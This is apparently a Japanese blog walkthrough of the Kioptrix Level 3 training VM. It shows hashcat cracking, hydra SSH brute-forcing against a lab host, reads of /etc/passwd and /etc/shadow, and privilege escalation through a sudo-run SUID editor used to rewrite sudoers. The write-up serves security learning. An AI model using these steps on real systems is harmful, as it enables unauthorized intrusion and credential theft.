OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha1($pass.$salt)
Hash.Target......: 318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2Pewh...c5Ub73
Time.Started.....: Mon Sep 21 17:07:38 2020 (14 secs)
Time.Estimated...: Mon Sep 21 17:07:52 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 870.6 kH/s (0.59ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10834944/14344385 (75.53%)
Rejected.........: 0/10834944 (0.00%)
Restore.Point....: 10833920/14344385 (75.53%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: MasterFlick -> Martin@07
Started: Mon Sep 21 17:07:35 2020
Stopped: Mon Sep 21 17:07:54 2020
ちなみに、rockyou.txtはgzipで圧縮されていたので回答してから使用。
指定したオプションは以下の要領とGoogle先生で確認。
SHA1でもいろいろなパターンがあったが、ソースコードで確認ずみだったのであまり困らずに
「110」を指定できた。
kali@kali:~$ hashcat -h
hashcat (v6.0.0) starting...
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
- [ Hash modes ] -
# | Name | Category
======+==================================================+======================================
...
100 | SHA1 | Raw Hash
...
110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated
120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
19300 | sha1($salt1.$pass.$salt2) | Raw Hash, Salted and/or Iterated
14400 | sha1(CX) | Raw Hash, Salted and/or Iterated
4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated
4710 | sha1(md5($pass).$salt) | Raw Hash, Salted and/or Iterated
21100 | sha1(md5($pass.$salt)) | Raw Hash, Salted and/or Iterated
18500 | sha1(md5(md5($pass))) | Raw Hash, Salted and/or Iterated
4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
テキストのパスワードは「Mast3r」。
最初は「Status...........: Cracked」になってるのはわかったが、パスワードの確認方法がよくわからなかったけど、調べていると下記の部分が結果っぽいことが判明。
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
さっそく、ログインページで入力する。ユーザー名は「admin」または「administrator」で試してみる。
ログイン成功!
だが、ここで行き詰まる。。。 何をすればよいのか。 FileManager というプラグイン?でファイル作成・削除、権限の変更などはできそうだったが、permission 0777 にしてもプロンプトからの実行がうまくできなかった。
違うのか。。。
とりあえずプロンプトに戻って、おきまりのファイルを覗いてみる。
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
見れますやんw ハッシュは??
cat /etc/shadow
見れない。見れるように変更できるか?
ls -l /etc/shadow
-rw-r----- 1 root shadow 794 Apr 18 2011 /etc/shadow
usermod -aG shadow www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
追加できない。やはりroot権限が必要なのか。
手がかりを探しにユーザーのhomeディレクトリを見てみる。
ls -la /home/loneferret
total 64
drwxr-xr-x 3 loneferret loneferret 4096 Apr 17 2011 .
drwxr-xr-x 5 root root 4096 Apr 16 2011 ..
-rw-r--r-- 1 loneferret users 13 Apr 18 2011 .bash_history
-rw-r--r-- 1 loneferret loneferret 220 Apr 11 2011 .bash_logout
-rw-r--r-- 1 loneferret loneferret 2940 Apr 11 2011 .bashrc
-rw------- 1 root root 15 Apr 15 2011 .nano_history
-rw-r--r-- 1 loneferret loneferret 586 Apr 11 2011 .profile
drwx------ 2 loneferret loneferret 4096 Apr 14 2011 .ssh
-rw-r--r-- 1 loneferret loneferret 0 Apr 11 2011 .sudo_as_admin_successful
-rw-r--r-- 1 root root 224 Apr 16 2011 CompanyPolicy.README
-rwxrwxr-x 1 root root 26275 Jan 12 2011 checksec.sh
.sshディレクトリがあることを発見。 sshでログインするために再度パスワードクラッキングを試してみる。
hydraが良さそう?なため、試してみる。
https://tools.kali.org/password-attacks/hydra
例に記載のあるコマンドを試す。しばらく眺めていると、あることに気がつく。
試すパスワードは14,344,321個。 54 tries/min だと、単純計算して265635.5 分、つまり4427時間、つまり184日かかる! これはあまりにも長すぎるので、スレッド数を増やしてみる。
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 6 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:36:44
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 14344321 to do in 3065:02h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:03h, 14344237 to do in 4427:15h, 6 active
^C
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
適当に100を指定する。
ali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 100 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[ERROR] Option -t needs to be a number between 1 and 64
1〜64まで指定可能みたいなので、最大の64を指定する。
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 64 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[22][ssh] host: 10.10.10.5 login: loneferret password: starwars
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-22 01:42:20
お! もしかして成功?? パスワード「starwars」でsshログインを試す。
@kali:~$ ssh loneferret@10.10.10.5
loneferret@10.10.10.5's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
よし! ログイン成功! root権限でrootパスワード変更ができるか試していく。
loneferret@Kioptrix3:~$ sudo passwd root
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/usr/bin/passwd root' as root on Kioptrix3.
loneferret@Kioptrix3:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
loneferret@Kioptrix3:~$ sudo cat /etc/sudoers
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/cat /etc/sudoers' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/su -' as root on Kioptrix3.
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
だめ。ヒントを探していく。
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
checksec.shは中身をみてもよくわからなかった。CompanyPolicy.READMEは気になる文言があった。
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
「sudo ht」を使えと書いてあるので試す。
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
Googleで「Error opening terminal: xterm-256color.」を検索。
export TERM=xterm-color
で解決するようなので試す。
loneferret@Kioptrix3:~$ export TERM=xterm-color
loneferret@Kioptrix3:~$ sudo ht
エディタ?のようなものが表示されたが、数字キーを押してもエンターキーを押しても反応なし。
Ctrl+cで一度終了させる。 htについて調べてみる。
SUIDとかGUIDとかは危ない
loneferret@Kioptrix3:~$ ls -la /usr/local/bin/ht
-rwsr-sr-x 1 root root 2072344 2011-04-16 07:26 /usr/local/bin/ht
SUIDとGUIDがsetされている。「s」はexecute bitがセットされている状態。
execute bit がセットされているとそのファイルのownerまたはowner's groupで実行できる。上記の例でいうと、htのownerはrootのため、rootの権限で実行できるはず。
ちなみにexecute bitがset されていない場合は「S」(大文字のS)になるとのこと。
SUIDとGUIDについて
https://www.tutorialspoint.com/unix/unix-file-permission.htm
とういことで、ハッシュファイルを見てみようw
loneferret@Kioptrix3:~$ sudo ht /etc/shadow
パスワードクラッキング・アゲイン
見れた!!2つ目のフィールドがパスワードハッシュ。rootのハッシュも見れる。
エディタを使って手作業でハッシュを抜き出す。
/etc/shadowファイルの見方
https://linuc.org/study/knowledge/510/
kali@kali:~$ vi newhash.txt
(ここで表示されている内容をコピペして不要な箇所を削除)
kali@kali:~$ cat newhash.txt
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
つぎに、linux で使用されているパスワードのハッシュアルゴリズムをGoogleで検索。
すると下記のような情報を入手できた。これは幸いかもしれない。
If salt is a character string starting with the characters "$id$" followed by a string optionally terminated by "$", then the result has the form:
$id$salt$encrypted
id identifies the encryption method used instead of DES and this then determines how the rest of the password string is interpreted. The following values of id are supported:ID | Method
─────────────────────────────────────────────────────────
1 | MD5
2a | Blowfish (not in mainline glibc; added in some
| Linux distributions)
5 | SHA-256 (since glibc 2.7)
6 | SHA-512 (since glibc 2.7)
ということは、
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
は
Hash Algorithm: MD5
Salt: QAKvVJey
Hash: 6rRkAMGKq1u62yfDaenUr1
という容量で読み取れるはず。 なるほど、勉強になるなぁ。
あとは、saltの使用方法が知れれば、、、。
loneferret@Kioptrix3:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
Modern Linux has long since moved to /etc/shadow, and for some time now has used salted MD5-based hashes for password verification (crypt id 1). Since MD5 is considered "broken" for some uses and as computational power available to perform brute-forcing of MD5 increases, Ubuntu 8.10 and later proactively moved to using salted SHA-512 based password hashes (crypt id 6), which are orders of magnitude more difficult to brute-force. See the crypt manpage for additional details.
Ubuntu Security Features (Historical) - Password Hashing
https://wiki.ubuntu.com/Security/Features/Historical#hashing
もっと調べる。
The Unix standard algorithm crypt and the MD5-based BSD password algorithm 1 and ...
Ubuntu man page for passwd
http://manpages.ubuntu.com/manpages/trusty/man1/passwd.1ssl.html
うん、わからん。 salt+passwordなのか、password+saltなのか、salt+password+saltなのか。 hashcatのヘルプのオプションでもたくさんあるので。。。
なので、適当にpassword+saltで行ってみる。 確認方法をご存知の方はぜひ教えて下さい。 dictionaryはビンゴなファイル名のものがあったのでそれでいく(unix_passwords.txt)
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashfile 'newhash.txt' on line 1 ($1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1): Separator unmatched
No hashes loaded.
Started: Tue Sep 22 10:37:31 2020
Stopped: Tue Sep 22 10:37:31 2020
hashの表記がだめっぽいので下記に修正して再度トライする。
kali@kali:~$ cp newhash.txt newhash2.txt
kali@kali:~$ vi newhash2.txt
kali@kali:~$ cat newhash2.txt
6rRkAMGKq1u62yfDaenUr1:QAKvVJey
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Token length exception
No hashes loaded.
Started: Tue Sep 22 10:40:33 2020
Stopped: Tue Sep 22 10:40:33 2020
あれ? エラーになった。 何がおかしい??
Hash modeがおかしいのかも?と思い、違うモードで試す。
選択肢を確認。
kali@kali:~$ hashcat -h | grep MD5
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
50 | HMAC-MD5 (key = $pass) | Raw Hash, Authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash, Authenticated
11900 | PBKDF2-HMAC-MD5 | Generic KDF
11400 | SIP digest authentication (MD5) | Network Protocols
5300 | IKE-PSK MD5 | Network Protocols
10200 | CRAM-MD5 | Network Protocols
4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocols
11100 | PostgreSQL CRAM (MD5) | Network Protocols
19000 | QNX /etc/shadow (MD5) | Operating System
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System
2410 | Cisco-ASA MD5 | Operating System
2400 | Cisco-PIX MD5 | Operating System
16400 | CRAM-MD5 Dovecot | FTP, HTTP, SMTP, LDAP Server
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
22500 | MultiBit Classic .key (MD5) | Password Managers
Wordlist + Rules | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
Brute-Force | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
Combinator | MD5 | hashcat -a 1 -m 0 example0.hash example.dict example.dict
なんとなく500がよさそう?
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Separator unmatched
No hashes loaded.
Started: Tue Sep 22 10:48:06 2020
Stopped: Tue Sep 22 10:48:06 2020
ん? セパレータがおかしい?? もしかして、$id$salt$hash形式で指定するのかも?
と思い、編集前のハッシュ(/etc/shadowに登録されている内容)で試す。
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/metasploit/unix_passwords.txt
* Passwords.: 1009
* Bytes.....: 7883
* Keyspace..: 1009
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:58:16 2020 (1 sec)
Time.Estimated...: Tue Sep 22 12:58:17 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/metasploit/unix_passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1023 H/s (11.55ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1009/1009 (100.00%)
Rejected.........: 0/1009 (0.00%)
Restore.Point....: 1009/1009 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: vagrant -> vagrant
Started: Tue Sep 22 12:58:12 2020
Stopped: Tue Sep 22 12:58:19 2020
動いたけど、ヒットなし。
rockyou.txtで試す。
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (28 mins, 37 secs)
Time.Estimated...: Tue Sep 22 14:22:37 2020 (54 mins, 42 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2961 H/s (5.59ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 4625824/14344385 (32.25%)
Rejected.........: 0/4625824 (0.00%)
Restore.Point....: 4625824/14344385 (32.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[706c616432380000] -> $HEX[706c6163746f6e5f323140686f74616d61696c2e636f6d]
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (41 mins, 21 secs)
Time.Estimated...: Tue Sep 22 14:16:48 2020 (36 mins, 9 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3351 H/s (4.43ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 7074944/14344385 (49.32%)
Rejected.........: 0/7074944 (0.00%)
Restore.Point....: 7074944/14344385 (49.32%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: jenize -> jenixa16
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (1 hour, 21 mins)
Time.Estimated...: Tue Sep 22 14:20:55 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2740 H/s (5.20ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[042a0337c2a156616d6f732103] -> $HEX[042a0337c2a156616d6f732103]
Started: Tue Sep 22 12:59:15 2020
Stopped: Tue Sep 22 14:21:00 2020
うわっ! めちゃめちゃ時間かかった(約1時間20分)のに失敗した。。。
これは色々試すのしんどすぎ、、、というかマジ無理。。。
こんなパワープレイではなくても行けると思うんだが。。。
htエディター
しばし、振り返る。
やっぱり怪しいのは「ht」というエディター。
ファイル作成できるか書いている割に操作できないのは謎すぎる。
virtualboxのvmなのでもしかするとキーボード周りがうまくなくて、操作できてないだけかも?
もしくは、host OSがmacだからFunctionキーとかうまくないのか??
調べてみると、virtualboxには「Input -> Keyboard -> Soft keyboard」が存在することが判明。 これでもしかしたら行けるかも?
行ける! いけるぞ! ファイルが開けそうな感じの画面になった!! 少なくとも、何も操作できない状態から脱出できた!! くっそー。 返せ、俺の時間。。。
神化
こうなると、sudoersにloneferretユーザーを追加したくなる。
試していく!!
sudoersについて
https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file
こんな感じ? エンターキーを強打!
きたー!!!!! もらった!!
loneferretの設定が入っているのでコメントアウトして、以下を追記するっと。
loneferret ALL=(ALL) ALL
これで神になれるはず。
F2キー(ソフト)、F10キー(ソフト)でターミナルに戻る。
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret:
root@Kioptrix3:~#
神化成功!
root@Kioptrix3:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
長かったーーーー。長かった。。。。。。。。。
めちゃめちゃ嬉しい!
ふとホームディレクトリがきになったので見てみる。
root@Kioptrix3:~# ls
Congrats.txt ht-2.0.18
おめでとうメッセージがある(Congrats)
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
root@Kioptrix3:~#
kioptrixからのメッセージがあった!!
なんか少し感動。 ほんとうにありがとう!!
振り返り
今回も"easy"モードなはずなのにめちゃめちゃ苦労した感じが否めない。
何度も壁にぶつかり、諦めず、前に進めなくなったら一度立ち止まり、戻りながら進んだことが結果につながったのがポイントだと思う。
また、Pen test用の新しいツールの使い方やLinux設定周りの確認、OSSでのphpやHTML, JavaScriptのソースコードを理解することなどが勉強になった気がするし、すごく充実感がある。
ただ、今回のターゲットはkioptrixが"わざと"作ったVMだと事前に知っていること、そしてヒントを仕込んでいてくれているとわかっていることはかなり大きかったと思う。
例えば、実際にPenetration testを行うことになったとする。
そのときに、今回のように立ち止まって戻ることは本当にできるのかどうか。見落としなく「安全」と言えるのかどうか。
事前にVulnerabilityのチェックリストを作成して、OK、NGで結果を記入することになると思う。 OKと書いた箇所に自信をもって「安全」と言えるのか。想像すると、膨大な知識と経験が必要な気がする。。。
また、今回自分が経験したBrute-forceによるパスワードクラッキングはあまり有効な手段ではないのかもしれない。
Hashアルゴリズム、パスワードハッシュ、salt、saltの使用方法までわかっていればなんとかなるかもしれないが、それでも長時間かけてクラッキング失敗の可能性は十分ある。
知識も知識もまったくないが、「パスワードディクショナリとしてrockyou.txtに記載されているパスワードを使用しました。straightforward、および○○○のルールを使用したパスワード強度調査に対しては脆弱性は見つかりませんでした」とかって報告をすることになるのかな?
Penetration test
https://en.wikipedia.org/wiki/Penetration_test